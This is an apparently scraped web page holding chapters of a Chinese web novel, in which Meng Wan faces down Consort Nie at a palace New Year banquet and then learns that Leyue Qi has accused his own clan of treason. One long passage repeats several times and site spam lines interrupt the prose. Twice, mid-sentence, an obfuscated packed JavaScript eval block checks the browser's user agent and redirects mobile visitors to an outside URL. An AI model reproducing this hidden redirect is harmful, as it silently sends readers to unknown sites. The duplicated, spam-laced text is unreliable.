从始至终,孟晚都没有太过在意林苁蕙和聂贵妃,打嘴仗他还能输了他们? 但常金花被人这般对待的瞬间,他心头突然窜起一股怒火。 嘴角仍是上翘,但孟晚眼中已是一片冰霜,“聂贵妃,臣下自幼父母双亡,确实没读过什么女诫。臣下夫君学得是君子之道,我婆母常氏乃慈善之心。贵妃娘娘出身将门,没想到也精通女诫吗?怎么我听说国公府的几个小公子们日日留恋青楼楚馆,弃家中妻儿不顾呢?想必是国公府的内眷们研习女诫,男儿郎也跟着精修胭脂水粉了?” 他一番话说完,殿内安静到落针可闻,只有一声声细微的抽气声压抑不住的响起。 太子妃垂眸时脸上满是嘲讽,国公府后继无人是满朝文武都知晓的事实,也是聂贵妃的痛楚,廉王**为何行事如此急迫,便是怕老国公一死,他们再无指望。 聂贵妃和廉王都心里门清,没有老国公,他们根本斗不过太子殿下。 只不过孟晚胆子也太大了,竟然敢在聂贵妃独擅专宠的时候,与她正面交锋。一会儿被聂贵妃小惩就算了,倘若处罚的狠了,免不了要让母后出面调和。 太子殿下颇为看重宋大人,假如故作不知寒了他的心,只怕会对太子产生隔阂。 “你放肆!”聂贵妃拍案而起,“你算什么东西,竟敢妄议国公府?” 孟晚身量在内眷中算是顶高的了,他站在座位后目光直视聂贵妃,窄腰挺得仿若韧竹,气势比当朝贵妃还胜,根本不退让半分,“臣下当然不敢胡乱置喙,但闲来无聊,“不小心”看过两卷案宗,巧的是都和国公府有关,娘娘不妨猜猜上面写得是什么?” “你敢威胁本宫?真以为本宫会怕你夫君一个三品京官吗?”聂贵妃忽而嘲弄一笑,“还是你以为你夫君会任由你得罪廉王殿下和定襄国公?一个毫无背景的夫郎而已,好像也配不上宋大人顺天府尹的身份吧,你说本宫赏他个贵女,他会不会把你休了?” 在宫中爬到贵妃的位置上,除了深厚的背景外,聂贵妃也不是毫无成算的白板。 换成普通人,听到她这么说早就方寸大乱了,不巧的是,孟晚算不上普通,且他的底气有一半都是宋亭舟赋予的。 国公再势大,贵妃再显赫,宋亭舟如今也不是 吃素的。不和他们对着干,难道和他们交好让陛下忌惮宋亭舟吗? 孟晚一点都不慌,“家里正好空旷,贵妃娘娘若是想赐人尽管恩赐,只要人家姑娘不介意,臣下也没什么好说的。” 正好他家缺倒夜香的,尽管来啊! 聂贵妃冷下脸,“这张嘴可真是聒噪啊,听得本宫心烦。”她的贴身女使自然懂主子的意思,齐步往孟晚这边走来,合在腹部的双手缓缓摩挲,随时准备制服住孟晚施以**。 林苁蕙露出一个快意的笑,已经预想到孟晚被这些下手狠厉的女使收拾到痛哭流涕,跪地求饶的模样。 然而孟晚头微微偏过来,突然扬声说了一句,“皇后娘娘,臣下想求一个恩典。” 聂贵妃唇角勾起一个轻蔑的笑,认为孟晚是服软了,只可惜找错了人,她要教训的人,便是皇后也不可能保得住。 做为整个内殿唯一知道孟晚因何受赏的人,皇后娘娘不知为何竟然也没有声张,这会儿孟晚主动询问,她才温声回道:“说吧。” 孟晚煞有其事的说:“臣下的画作还在正厅,臣下想知道此画还能否收回。” “什么画?”聂贵妃隐隐察觉出不对来。 “哎呀孟夫郎,您的画是收不回来了,可陛下还有恩赐。”喜公公喜气洋洋的捧着圣旨过来,刚巧听到了后两句话。 当然,也可能是这位大太监在偏殿等了一会儿了,找了个恰当的时间才出现在这里。 叶尔羌王子在威逼利诱之下将今年少的那一半贡品又吐了出来,双方商议的名头也很好听,全当是买孟晚那幅画的金资。 皇上龙心大悦,自然又嘉奖了孟晚一道,直接越过宋亭舟册封他为一品诰命。儿媳不能越过婆母,顺便一道册封常金花也为一品夫人,因此喜公公才过来宣旨。 孟晚不差这么一幅画,对诰命的身份也不太热衷,他要的就是陛下的态度,以震慑聂贵妃。 孟晚跪下谢恩之后,其余命妇才知道正殿发生了什么事。 这个当口哪怕是贵妃也不能拿孟晚如何,起码他在今夜,确实有和聂贵妃对峙的资本。 “皇后娘娘恕罪,妾突感乏累,想早些回宫。”知道拿不住孟晚,聂贵妃兴致缺缺的带着宫里的人走了,一些或是因为某些原因依附国公府,或是在后宫指望聂贵妃的妃嫔们,也接二连三的告退。 她走后林苁蕙便收敛起神情安坐,绝口不提刚才打压孟晚的话了。 剩下的命妇面上分毫不显,心里则是在琢磨着两人的恩怨。 同是在京多年,谁不知道林苁蕙伯爵夫人的高傲姿态?哪里还不明白是怎么回事。八成是早年宋大人还没发迹,只是个进士出身,尚且没有今日这番做为,他夫郎孟氏登门定是被林苁蕙给冷待了。 人家争气,如今有了这么一番做为,林苁蕙反而挑起孟夫郎的礼了,嫌他们夫夫二人不登门。 谁会管这种闲事来,没见皇后娘娘都没理她吗? 而且现在孟夫郎的画又入了皇上的眼,保不齐就是下一个项芸,如此能人,不上杆子交好就罢了,竟然还贸然得罪,也不知是怎么想的。 喜公公走后场面冷了下来,宫宴进行到这儿不过是在耗费时间。 孟晚心里知道正殿还有**烦要解决,耗时间干熬,还不如怼别人两句来的痛快。 罗霁宁胆子大得很,硬生生和孟晚旁边的老夫人换了座位,坐到孟晚旁边后也不说话,就侧着脸死死盯着他,然后不住冷笑。 这人之前在西梧府恶心吧唧的姿态果然是装的,如今呢?硬刚皇贵妃都不虚! 装得可真像啊,把他当智障耍的团团转。 孟晚:“……” “你想问什么现在就问吧。”孟晚眼神望向别处,嘴上轻声说道。 “奇变偶……” “无用的蠢话就别说了。”孟晚没好气的打断他。 罗霁宁被噎的一梗,他憋了一会儿,发现还真不能在皇宫里乱说什么,左思右想下,竟然开始和孟晚卖惨。“你知道我过得什么日子吗?我是罗家的嫡子不假,可那群老东西竟然想让我和我姐一起嫁人。要不是我机灵,就……” 孟晚捏紧了手中的杯子,**他穿过来下一秒差点被嘎他说什么了? 他被人牲口似的从南拉到北发卖他说什么了? 罗霁宁个死直男还好意思委屈? 开始既结束,孟晚不大想听了,“听香榭是廉王的产业吧?下次我去那附近找……” “啊!” 巨大的惨叫声从殿外传来,那道声音太过惨烈,发出的人声带都似乎撕裂了。 凄厉的喊叫惊得常金花打了个哆嗦,罗霁宁“腾”地一下从座位上站起来,“怎么回事。” 皇后也从凤椅上站了起来,她吩咐身边女使到正殿打听,口中则安抚着内殿的命妇们,“诸位不必惊慌,时辰也不早了,本宫便派宫侍送你们出宫去吧。” 宫中若是出了什么辛密的事,便是让这些命妇们留下来看热闹,她们也不敢。 她走后林苁蕙便收敛起神情安坐,绝口不提刚才打压孟晚的话了。 剩下的命妇面上分毫不显,心里则是在琢磨着两人的恩怨。 同是在京多年,谁不知道林苁蕙伯爵夫人的高傲姿态?哪里还不明白是怎么回事。八成是早年宋大人还没发迹,只是个进士出身,尚且没有今日这番做为,他夫郎孟氏登门定是被林苁蕙给冷待了。 人家争气,如今有了这么一番做为,林苁蕙反而挑起孟夫郎的礼了,嫌他们夫夫二人不登门。 谁会管这种闲事来,没见皇后娘娘都没理她吗? 而且现在孟夫郎的画又入了皇上的眼,保不齐就是下一个项芸,如此能人,不上杆子交好就罢了,竟然还贸然得罪,也不知是怎么想的。 喜公公走后场面冷了下来,宫宴进行到这儿不过是在耗费时间。 孟晚心里知道正殿还有**烦要解决,耗时间干熬,还不如怼别人两句来的痛快。 罗霁宁胆子大得很,硬生生和孟晚旁边的老夫人换了座位,坐到孟晚旁边后也不说话,就侧着脸死死盯着他,然后不住冷笑。 这人之前在西梧府恶心吧唧的姿态果然是装的,如今呢?硬刚皇贵妃都不虚! 装得可真像啊,把他当智障耍的团团转。 孟晚:“……” “你想问什么现在就问吧。”孟晚眼神望向别处,嘴上轻声说道。 “奇变偶……” “无用的蠢话就别说了。”孟晚没好气的打断他。 罗霁宁被噎的一梗,他憋了一会儿,发现还真不能在皇宫里乱说什么,左思右想下,竟然开始和孟晚卖惨。“你知道我过得什么日子吗?我是罗家的嫡子不假,可那群老东西竟然想让我和我姐一起嫁人。要不是我机灵,就……” 孟晚捏紧了手中的杯子,**他穿过来下一秒差点被嘎他说什么了? 他被人牲口似的从南拉到北发卖他说什么了? 罗霁宁个死直男还好意思委屈? 开始既结束,孟晚不大想听了,“听香榭是廉王的产业吧?下次我去那附近找……” “啊!” 巨大的惨叫声从殿外传来,那道声音太过惨烈,发出的人声带都似乎撕裂了。 凄厉的喊叫惊得常金花打了个哆嗦,罗霁宁“腾”地一下从座位上站起来,“怎么回事。” 皇后也从凤椅上站了起来,她吩咐身边女使到正殿打听,口中则安抚着内殿的命妇们,“诸位不必惊慌,时辰也不早了,本宫便派宫侍送你们出宫去吧。” 宫中若是出了什么辛密的事,便是让这些命妇们留下来看热闹,她们也不敢。 她走后林苁蕙便收敛起神情安坐,绝口不提刚才打压孟晚的话了。 剩下的命妇面上分毫不显,心里则是在琢磨着两人的恩怨。 同是在京多年,谁不知道林苁蕙伯爵夫人的高傲姿态?哪里还不明白是怎么回事。八成是早年宋大人还没发迹,只是个进士出身,尚且没有今日这番做为,他夫郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436277|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟氏登门定是被林苁蕙给冷待了。 人家争气,如今有了这么一番做为,林苁蕙反而挑起孟夫郎的礼了,嫌他们夫夫二人不登门。 谁会管这种闲事来,没见皇后娘娘都没理她吗? 而且现在孟夫郎的画又入了皇上的眼,保不齐就是下一个项芸,如此能人,不上杆子交好就罢了,竟然还贸然得罪,也不知是怎么想的。 喜公公走后场面冷了下来,宫宴进行到这儿不过是在耗费时间。 孟晚心里知道正殿还有**烦要解决,耗时间干熬,还不如怼别人两句来的痛快。 罗霁宁胆子大得很,硬生生和孟晚旁边的老夫人换了座位,坐到孟晚旁边后也不说话,就侧着脸死死盯着他,然后不住冷笑。 这人之前在西梧府恶心吧唧的姿态果然是装的,如今呢?硬刚皇贵妃都不虚! 装得可真像啊,把他当智障耍的团团转。 孟晚:“……” “你想问什么现在就问吧。”孟晚眼神望向别处,嘴上轻声说道。 “奇变偶……” “无用的蠢话就别说了。”孟晚没好气的打断他。 罗霁宁被噎的一梗,他憋了一会儿,发现还真不能在皇宫里乱说什么,左思右想下,竟然开始和孟晚卖惨。“你知道我过得什么日子吗?我是罗家的嫡子不假,可那群老东西竟然想让我和我姐一起嫁人。要不是我机灵,就……” 孟晚捏紧了手中的杯子,**他穿过来下一秒差点被嘎他说什么了? 他被人牲口似的从南拉到北发卖他说什么了? 罗霁宁个死直男还好意思委屈? 开始既结束,孟晚不大想听了,“听香榭是廉王的产业吧?下次我去那附近找……” “啊!” 巨大的惨叫声从殿外传来,那道声音太过惨烈,发出的人声带都似乎撕裂了。 凄厉的喊叫惊得常金花打了个哆嗦,罗霁宁“腾”地一下从座位上站起来,“怎么回事。” 皇后也从凤椅上站了起来,她吩咐身边女使到正殿打听,口中则安抚着内殿的命妇们,“诸位不必惊慌,时辰也不早了,本宫便派宫侍送你们出宫去吧。” 宫中若是出了什么辛密的事,便是让这些命妇们留下来看热闹,她们也不敢。 她走后林苁蕙便收敛起神情安坐,绝口不提刚才打压孟晚的话了。 剩下的命妇面上分毫不显,心里则是在琢磨着两人的恩怨。 同是在京多年,谁不知道林苁蕙伯爵夫人的高傲姿态?哪里还不明白是怎么回事。八成是早年宋大人还没发迹,只是个进士出身,尚且没有今日这番做为,他夫郎孟氏登门定是被林苁蕙给冷待了。 人家争气,如今有了这么一番做为,林苁蕙反而挑起孟夫郎的礼了,嫌他们夫夫二人不登门。 谁会管这种闲事来,没见皇后娘娘都没理她吗? 而且现在孟夫郎的画又入了皇上的眼,保不齐就是下一个项芸,如此能人,不上杆子交好就罢了,竟然还贸然得罪,也不知是怎么想的。 喜公公走后场面冷了下来,宫宴进行到这儿不过是在耗费时间。 孟晚心里知道正殿还有**烦要解决,耗时间干熬,还不如怼别人两句来的痛快。 罗霁宁胆子大得很,硬生生和孟晚旁边的老夫人换了座位,坐到孟晚旁边后也不说话,就侧着脸死死盯着他,然后不住冷笑。 这人之前在西梧府恶心吧唧的姿态果然是装的,如今呢?硬刚皇贵妃都不虚! 装得可真像啊,把他当智障耍的团团转。 孟晚:“……” “你想问什么现在就问吧。”孟晚眼神望向别处,嘴上轻声说道。 “奇变偶……” “无用的蠢话就别说了。”孟晚没好气的打断他。 罗霁宁被噎的一梗,他憋了一会儿,发现还真不能在皇宫里乱说什么,左思右想下,竟然开始和孟晚卖惨。“你知道我过得什么日子吗?我是罗家的嫡子不假,可那群老东西竟然想让我和我姐一起嫁人。要不是我机灵,就……” 孟晚捏紧了手中的杯子,**他穿过来下一秒差点被嘎他说什么了? 他被人牲口似的从南拉到北发卖他说什么了? 罗霁宁个死直男还好意思委屈? 开始既结束,孟晚不大想听了,“听香榭是廉王的产业吧?下次我去那附近找……” “啊!” 巨大的惨叫声从殿外传来,那道声音太过惨烈,发出的人声带都似乎撕裂了。 凄厉的喊叫惊得常金花打了个哆嗦,罗霁宁“腾”地一下从座位上站起来,“怎么回事。” 皇后也从凤椅上站了起来,她吩咐身边女使到正殿打听,口中则安抚着内殿的命妇们,“诸位不必惊慌,时辰也不早了,本宫便派宫侍送你们出宫去吧。” 宫中若是出了什么辛密的事,便是让这些命妇们留下来看热闹,她们也不敢。 她走后林苁蕙便收敛起神情安坐,绝口不提刚才打压孟晚的话了。 剩下的命妇面上分毫不显,心里则是在琢磨着两人的恩怨。 同是在京多年,谁不知道林苁蕙伯爵夫人的高傲姿态?哪里还不明白是怎么回事。八成是早年宋大人还没发迹,只是个进士出身,尚且没有今日这番做为,他夫郎孟氏登门定是被林苁蕙给冷待了。 人家争气,如今有了这么一番做为,林苁蕙反而挑起孟夫郎的礼了,嫌他们夫夫二人不登门。 谁会管这种闲事来,没见皇后娘娘都没理她吗? 而且现在孟夫郎的画又入了皇上的眼,保不齐就是下一个项芸,如此能人,不上杆子交好就罢了,竟然还贸然得罪,也不知是怎么想的。 喜公公走后场面冷了下来,宫宴进行到这儿不过是在耗费时间。 孟晚心里知道正殿还有**烦要解决,耗时间干熬,还不如怼别人两句来的痛快。 罗霁宁胆子大得很,硬生生和孟晚旁边的老夫人换了座位,坐到孟晚旁边后也不说话,就侧着脸死死盯着他,然后不住冷笑。 这人之前在西梧府恶心吧唧的姿态果然是装的,如今呢?硬刚皇贵妃都不虚! 装得可真像啊,把他当智障耍的团团转。 孟晚:“……” “你想问什么现在就问吧。”孟晚眼神望向别处,嘴上轻声说道。 “奇变偶……” “无用的蠢话就别说了。”孟晚没好气的打断他。 罗霁宁被噎的一梗,他憋了一会儿,发现还真不能在皇宫里乱说什么,左思右想下,竟然开始和孟晚卖惨。“你知道我过得什么日子吗?我是罗家的嫡子不假,可那群老东西竟然想让我和我姐一起嫁人。要不是我机灵,就……” 孟晚捏紧了手中的杯子,**他穿过来下一秒差点被嘎他说什么了? 他被人牲口似的从南拉到北发卖他说什么了? 罗霁宁个死直男还好意思委屈? 开始既结束,孟晚不大想听了,“听香榭是廉王的产业吧?下次我去那附近找……” “啊!” 巨大的惨叫声从殿外传来,那道声音太过惨烈,发出的人声带都似乎撕裂了。 凄厉的喊叫惊得常金花打了个哆嗦,罗霁宁“腾”地一下从座位上站起来,“怎么回事。” 皇后也从凤椅上站了起来,她吩咐身边女使到正殿打听,口中则安抚着内殿的命妇们,“诸位不必惊慌,时辰也不早了,本宫便派宫侍送你们出宫去吧。” 宫中若是出了什么辛密的事,便是让这些命妇们留下来看热闹,她们也不敢。 第23章 绮罗乐正 孟晚站起来挽住常金花,心里担心着在正殿的宋亭舟。 他无视欲言又止的罗霁宁,忐忑不安的跟着宫侍往外走,实际上耳朵里正在屏蔽所有杂音,一心想听听正厅还有没有什么动静传出来。 可惜直到行至东华门,孟晚都没有再听到什么风声,只是宫中的侍卫都在往太和殿的方向赶去。 他恨不得也跟着过去看看发生了什么事,但在宫中乱晃去了不该去的地方,撞见了不该看见的东西,是真的会掉脑袋的,孟晚万万不敢放肆。 “蚩羽,快,驾车去午门等候大人。孟晚上车后便迫不及待的说。 蚩羽闻言,扬鞭立即赶马车前往午门。 东华门距离午门不算太远,孟晚过去的时候午门的左、右两门已经打开,三品以下的京官在两座宫门中鱼贯而出。孟晚还看到了吴昭远和祝泽宁,他们都在和同僚说话,聊得热切,孟晚没有出声打扰。 他逐一详看,其中果然没有乐正崎。 又等了半炷香的时间,午门终于开始有人出来,都是朝中几个三品以上官员,宋亭舟的身高在里面鹤立鸡群,孟晚一眼便能瞧见。 “夫君。 声音很小,孟晚本以为宋亭舟不会听见,却见对方准确无误的对上他的双眼。 孟晚短暂的愣了一下,然后笑了,吊着的七上八下的心终于安稳下来。 几位大人也看见了马车上的孟晚,与宋亭舟关系好的,都对孟晚颔首示意,还有两位孟晚根本不认识的,也主动同他打招呼。 有人甚至想问问孟晚有没有个姐妹兄弟什么的联个姻,最好也是这样长得好嘴皮子好还有才华的。 宋亭舟坐上马车后替孟晚解惑,“那两位大人擅长作画,也是丹青好手。 早上雪生送他过来一直都没回去,这会儿架着空车跟在蚩羽车后。 “哦,怪不得突然过来跟我寒暄。孟晚其实有心想问正殿后来发生了什么,但眼下绝对不是好时机,只能忍耐住。 常金花捂着肚子不大舒服,他们没有过多停留,大半夜的街上只有零星车马,蚩羽把马车架得飞快,很快他们就回到了家里。 “槿姑,煮些素面来,再放上几个鸡蛋。常金花交代完就小跑着去茅厕了。 孟晚亲自去阿寻屋里叫 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 人,让阿寻给常金花把脉配药。 “我在内殿听到有人叫的很惨,是怎么回事?乐正崎到底做了什么?”回到他们的卧房,孟晚迫不及待的问。 宋亭舟脱了外袍,以指抵住孟晚的唇,“晚儿,稍安勿躁。” 孟晚闭上眼睛深呼吸,“你说得对,是我太急了。” 厨房在烧水、做吃食,常金花院里的厨房里则在煎药,腾腾的白烟在庞大的宅子里很快泯灭消散。 主家回来后忙活起来的下人们难免发出声响,遮掩了某些不为人知的小动静。 孟晚和宋亭舟洗漱后去看了常金花,见她精神还算好,正窝在炕上喝药,便嘱咐她房里的苇莺、云雀,好好守夜,有什么动静就尽快去叫阿寻和他。 交代完夫夫俩才回到自己卧房准备休息。 “乐正崎被抓进刑部大牢了。”宋亭舟声音平静。 孟晚直接从床上坐了起来,“什么!” 要命,聂知遥和绯哥儿还在西梧府等着他呢,他怎么就把自己给弄进大牢了! 宋亭舟难得姿态强硬的将他按进自己怀里,对着他精巧的耳朵吐气,“别声张,乐正崎未必会有事。” 孟晚冷静下来,十分不解,“到底为什么?乐正崎到底做了什么?” “他揭发乐正家叛国。”宋亭舟依旧是对孟晚耳语,今日在正殿的事只有他们几个三品朝上的官员知晓,虽然皇上没有明确嘱咐大家不许泄露口风,可众人都极有默契的缄口不言。 孟晚这些日子想了许多,联想乐正崎是为太子办事,他最先设想的就是太子让乐正崎揭发廉王与罗家合作,**无辜孩童,用“鲛珠”拉拢朝臣。 然后太子再拿着安南王的两封信件杀回盛京,打廉王一派一个措手不及,这样便可彻底把廉王**拉下马去。 可无论他怎么想,都万万想不到乐正崎是检举了,告发的却不是廉王和罗家,而是他自己的本家,西方世家之首——绮罗乐正。 乐正家家族古老又神秘,谁也不知道他们家的底细,流传出来的消息中说的是他家家主和几位族老,其实是某个帝王宫中的乐师们出逃,拿着皇宫积攒的金银珠宝逃到禹国西部的金城一代,如此才成立了乐正家。 但今晚……不,按时辰可以说是昨晚了。 昨晚太和殿正殿上,乐正崎口 听说看这本书的人都是很幸运的,分享后你的运气会更棒 中的乐正家却是禹国西部悠远古老的吐谷(yu)浑国,在统治了西部长达三百五十年后,被其余国家灭国,分割领土。 乐正一族,正是当初吐谷浑的王室。 他们带着吐谷浑称王期间积攒的金银珠宝,隐匿在金城安家落户,为确保皇室血脉的纯粹,所以从不与外族通婚。 最开始宁娶世家女,不入帝王家的流言就是乐正家的人为了混淆视听而流传出去的。 乐正崎在正殿上,当着吐蕃王子叶尔羌的面,说乐正家早就和吐蕃王勾结在一起,准备伺机发动边境之战,共分禹国西海的土地和城池。 禹国四大世家中,吴家已成衰败之势,项家察觉不妥,已经在想方法自救,罗家早早投奔廉王,只有乐正家一如既往的低调,没成想是在偷摸养兵想要复国! 皇权不可窥伺,定襄国公重兵在握皇上忍了,两个儿子为了争夺皇位明争暗斗他冷眼旁观,可**是哪个帝王能忍的? 吐蕃王子当即就被在殿中削掉了一条胳膊,没有哪个国君是断臂登基的,无论乐正崎说的是不是真的,叶尔羌此生也再无可能成为吐蕃王,所以那喊声才如此惨烈。 孟晚被这个突如其来的翻转砸的晕头转向,不论如何也想不出其中关系,“那……那乐正崎不会死吧? 他揪着重点问。 宋亭舟在烛光下抚摸孟晚如缎般的漆黑长发,轻叹了一声,“性命无忧,只是可能会受点苦头。 他郑重叮嘱,“晚儿,你莫要去刑部见他,暂且也不要掺和进这里面的任何事,上位者博弈,我们暂且只能静观其变。 孟晚知道轻重缓急,宋亭舟都这样说了,他便乖乖点头,“你放心,我不会露出什么破绽的。 他们拥在一起说着些隐秘的话,冷不丁外面院子传来蚩羽一声暴喝。 宋亭舟飞速下床先将孟晚护了个严实,孟晚扒在他肩膀上,“是**吗?他听到了兵刃相接的声音。 宋亭舟的声音依旧沉稳,“应当是探子,露了马脚被蚩羽发现,这才交起手来。 果然,还不到片刻的功夫,蚩羽就已经将人拿下。 但因为经验不足,等宋亭舟出门查看时,人已经毒发身亡。 蚩羽神情懊恼,“大人,我不知道他藏了**。 宋亭舟没有太多意外的神 你的朋友正在书荒,快去帮帮他吧 色,“先送到顺天府去,叫咱们的仵作验尸。他心里知道,京城不像其他地方,要验尸应当也验不出什么来,聊胜于无吧。 正旦宴入宫是皇室赐予的无上荣耀,孟晚却被连番变故搞得心力交瘁,他不敢给聂知遥写信,好歹给他和聂先生的年货早早就送去岭南。 初二常金花腹疾还没好,在家养病吃药没下床,孟晚坐在床边为她喝粥,被她赶到一边,“娘是肚子疼,又不是手断了,你快该去忙啥就忙啥,别守在我这儿,怪不自在的。 孟晚被她赶走还不放心,交代阿砚不许闹腾,好好照看祖母。阿砚从小被常金花带大,大了些后常金花开铺子都带着他,远比和两个爹的相处时间还长。 知道常金花生病后,阿砚和通儿两个就守在常金花屋子,一会儿给递杯热水,一会儿给捶捶背,常金花一时间都不知道眼睛该看哪个。 没休息好不算什么,心里熨帖才是真的。 初三各家各户也开始走动串亲,街上车马络绎不绝,一车车的都是年货。 常金花的病已经没什么大碍了,但也需要休息。宋亭舟便提前告知祝泽宁和吴昭远,不必来他家中拜访。 孟晚先和宋亭舟去祝家拜访祝三爷,又和祝泽宁两口子联袂前往吴昭远家里。 吴家只是个二进的小院,不说比孟晚家的宅子小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴昭远本来还在笑,听到这话警惕的提醒了一句,“你爱交友是好事,但眼睛可要擦亮,不要谁攒的局都去凑热闹。” 宋亭舟握着书册的手一紧,也跟着说了句,“昭远说的有理,朝中今日不太平,万万要谨慎行事,莫要被无辜牵连。” 祝泽宁满脸好奇之色,“正旦宴的时候太和殿里是不是出了什么事?我们都听见有人惨叫。” 宋亭舟垂眸掀开书页,“在宫里,有人惨叫也不值当惊奇。” 吴昭远听出了宋亭舟的弦外之音,拦住祝泽宁还欲追问的话语,“你还是少打听上头的事,景行也不是什么话都方便往外说的。” 祝泽宁抿了口温热的茶水,是次等的绿茶,他喝着不大适口又放下了,“哦。” 后院的厨房渐渐飘出掺杂着鲜味的肉香,祝泽宁频频望过去,“让兰娘也和嫂子学学,这也太香了。” 宋亭舟轻笑,“今日不提吃是过不去了,你和我急阿砚又何区别?” “阿砚这个小机灵,有晚哥儿的机灵劲,也有你的敏而好学。琼娘也是个好孩子,大方识礼。”吴昭远夸着两个孩子,话语中染上了一层淡淡的愁绪,“也是我子女之缘浅薄,家里连个小哥儿也没有。” “小哥儿本就不易有孕,景行也是和嫂子成亲多年才只得了一个阿砚。”祝泽宁劝着劝着突然建议道:“不若你纳个女娘算了,等有了孩子抱到大嫂膝下养活,不也和亲生的一样?” 宋亭舟拧着眉横他一眼,但见吴昭远眉间似真有意动,又将即将出口的话吞了回去,转而说道:“大嫂和你的身体都还年轻,也无其他顽疾,孩子只是早晚的事,昭远……” 他剩下的话没说,吴昭远却想起他小时候被仆人和主宅的兄弟姐妹嘲笑的日子。 孩子是无辜的,他早早领略世间冷暖,怎么会让自己的孩子也沦落到那般地步呢? 他抿着唇下定了决心,“泽宁,你若是我兄弟,纳妾的事就别再提。” 在祝泽宁看来纳个妾也不是什么了不得的事,他爹不重女色也有几个姨娘,他四叔更是女人不断。官场上的同僚不光纳妾,还会寻去烟花柳巷找娼妓。 他浸染在这种环境里,只觉得很寻常,但宋亭舟和吴昭远都不喜欢听,那他不说就是了。 第24章 有赏 孟晚在后院厨房做饭的时候,天上竟然有飘起了雪花,他听着孩子们在院里大惊小怪的声音,盖上铁锅的盖子望向院子里。 已经在盛京见过几场大雪了,阿砚还是稀罕的不行,怕冷又爱玩,穿的圆滚滚的笨拙模样,还要去接漂亮的六瓣花。 孟晚不自觉的勾起唇角,眼眸里是阿砚天真的笑脸,这会儿终于有些做人阿爹的慈爱模样。 “阿砚,别让雪花进到靴子里去,不然鞋子里都要湿了。孟晚叮嘱道。 阿砚穿的是鹿皮小靴,外层不怕湿,但他玩的时间若是长了,恐怕会顺着裤缝进到鞋里面去。大正月的,常金花已经病了,孟晚可不想让阿砚也跟着病倒。 “知道啦阿爹!阿砚其实根本没听清孟晚说的是什么,只顾着和通儿在雪中嬉戏。他自己美得不行,在漫天风雪中乱扭,幻想自己是哪天在听香榭里那些舞者。 而真正的武者通儿,则一身阳刚的在打拳。 孟晚瞧着在雪地里打了一套拳面色愈发红润的通儿,想着让家里的雪生和蚩羽多历练历练阿砚。 他不求阿砚多有才华本领,身体康健便挺好了。 孟晚随手将火炉上煨着的八珍肘子里扔了一把干贝,抬起头的瞬间察觉到中堂的宋亭舟在看他,目光扫过去果然见到对方手里拿了一本书,确实倚在门框上在对他笑。 过节要穿的喜庆,他们二人都穿了一身暗红色的棉袍,宋亭舟外罩一件灰鼠皮的大氅,孟晚则是同样色调的斗篷。 这会儿宋亭舟斜倚着门框捧着书本,他年纪上了三十岁后,性子越来越沉稳。比起年轻时的锐利的长相,如今气质沉淀下来,冷还是冷,眉眼对上孟晚却温柔的不像话,配上唯美的雪景,倒是有几分像儒雅贵公子的模样。 宋亭舟捧着书眼睛目不转睛的落在心爱之人身上,直到孟晚对他挥了挥手,转身钻回厨房做菜,他才在祝泽宁嚎叫着说冷时撂下了厚重的门帘。 秋影跑了进来,喘着的粗气从嘴巴里变成白烟,把他半张脸都搞得烟雾缭绕。 吴昭远递给他一盏茶水,“怎么了这么着急? 秋影没空喝茶,咽了口口水滋润干涩的喉咙,“宋大人,你家来人了,说是宫里的聂贵妃有赏。 宋亭舟“啪的一声合上手中的书,不动声色的问:“聂贵妃?宫侍到哪儿了? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 秋影趁他说话的空档把吴昭远给他的茶一口干了,用袖口擦了擦嘴巴上的水渍说道:“雪生哥给拦在门口了,说是主人家不在,要等你回去处理。” 宋亭舟立即将书放回书架上,取回自己的灰色大氅,转身对两个兄弟招呼,“我回家一趟,马上就过来,暂且别告诉晚儿。” 说是封赏,但吴昭远看宋亭舟的脸色觉得事情不简单,他安抚道:“你放心回去便是,弟夫在我家你放心。” 宋亭舟冷着一张脸大步流星的走了出去,祝泽宁见他连车也没坐,大冷的天竟然牵了吴家的马出门。他不解的扭头问吴昭远,“不是说贵妃娘娘封赏吗?景行的脸色怎么不像高兴的样子。” 吴昭远知道的没比祝泽宁多多少,但他心里隐隐约约有些猜测,不好对祝泽宁说出来,“也许是有旁的急事吧,我们姑且等上一等。” ——宋亭舟踏着风雪疾驰,果真在家门口看到了两名宫中女使。她们身后还跟着一男一女两人,妙龄年纪,容貌清丽。肤色雪白,身姿窈窕。怎么看也不是做奴婢的样子, 周围是一队侍卫在护送她们,骑在马背上趾高气昂。两名女使也是一脸傲气。 宋家大门紧闭,小厮们都守在门口寸步不让,雪生挡在最前面和女使对峙,“家里大人夫郎都不在家,我等只是奴仆,做不来主君的主。” 领头的女使细眉高挑,语气不善,“外面天寒地冻,你的意思是让我等在雪地里干等?我们可是贵妃娘娘的女使,奉的是她的凤令!” 雪生并不擅长和人打嘴仗,也在强撑着拦人,“两位姑姑可以到前面酒楼稍坐,我家大人最迟午后便归。” 另一位女使一脸不满,“谁要去那劳什子酒楼?你说宋大人不在家就不在家,难不成宋家除了宋大人一个做主的都没有?怕不是你们夫郎善嫉,有意不让我们进门吧!” “你在说谁善嫉?”宋亭舟坐在马背上,灰色的大氅盖住他整个上半身,露出两条修长有力的小腿。 侍卫们率先反应过来,下马齐声行礼,“见过宋大人。”他们在宫中走动,自然认识这位名头颇大的新任顺天府尹。 两名女使见此也忙屈膝行礼,“奴婢见过宋大人,宋大人万安。” 